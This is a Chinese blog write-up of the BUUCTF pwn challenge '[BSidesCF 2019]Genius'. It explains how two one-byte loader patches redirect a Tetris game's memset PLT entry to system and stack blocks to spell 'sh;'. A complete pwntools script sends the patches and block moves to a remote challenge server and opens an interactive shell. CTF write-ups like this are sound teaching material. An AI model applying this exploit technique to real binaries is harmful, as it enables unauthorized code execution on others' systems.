[BUUCTF-pwn] [BSidesCF 2019]Genius

这个题打死也作不出来,看了个英文的wp

外国弄的这东西,思路不常见。一个是Genius文件是下人俄罗斯方块游戏(出的块是固定序列)这个本身没有问题。另外一个是loader文件,这个文件把游戏文件读入内存中,并允许修改两次每次1字节(通过一种JS啥的编码取5个字节中的若干位组成偏移和修改的字节)然后运行程序。

思路:

        一是修改memset它在plt表中位置是XX30修改1字节改为XX20这个是system的plt表,以gameover的时候会调用到这个,就相当于system(XXX)了

第二个是这个参数这个参数是游戏打完形成的图形(有块为1空地为0)想办法让打完的位置形成sh;这相需要天才的脑子在适当调整偏移的情况下(偏移为+0x15),限制就是这个1不能掉下来。

        第三步就是把掉下来的块设计好路线。

from pwn import *

'''
|  ggo   fd|
|00bbo0000d|
|0bb0oo0cdd|
|00aaee cc |   <-- 0011 1011,0110 1000,0111 0011  ;hs
|  aaee c  |
+----------+
loader允许patch程序两字节:第1次将plt表memset改为system 30->20,第2次将程序中memset参1:0x804b1a0改为0x804b1B5 从指定位置开始,指定位置堆成sh;的码
然后用块堆成指定数据-1,-2,-3连起来是sh;
下落块顺序固定  O, S, T, J, O, Z, Z, T, O, Z, T, J, L
'''

#p = process('./loader')
p = remote('node4.buuoj.cn', 29973) 

context(arch='i386', log_level='debug')

p.sendlineafter(b'continue!\n', b'AZZAZT') #0x622 plt.memset FF 25 (30->20) B0 04 08
p.sendlineafter(b'Please enter your second code, or press <enter>\n', b'SLGOGI') #0x154B:push offset dword_804B1A0 ; s (68 (A0->B5)B10408) 154c
p.recvuntil(b':)\n')
val = ['as','qaas','eddds','qdddds','ds','ddddds','qaas','eaaaas','as','ddddds','edddds','aaaaas','eas']
for i in val:
    sleep(1)
    p.recv()
    p.send(i.encode())
    
p.interactive()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值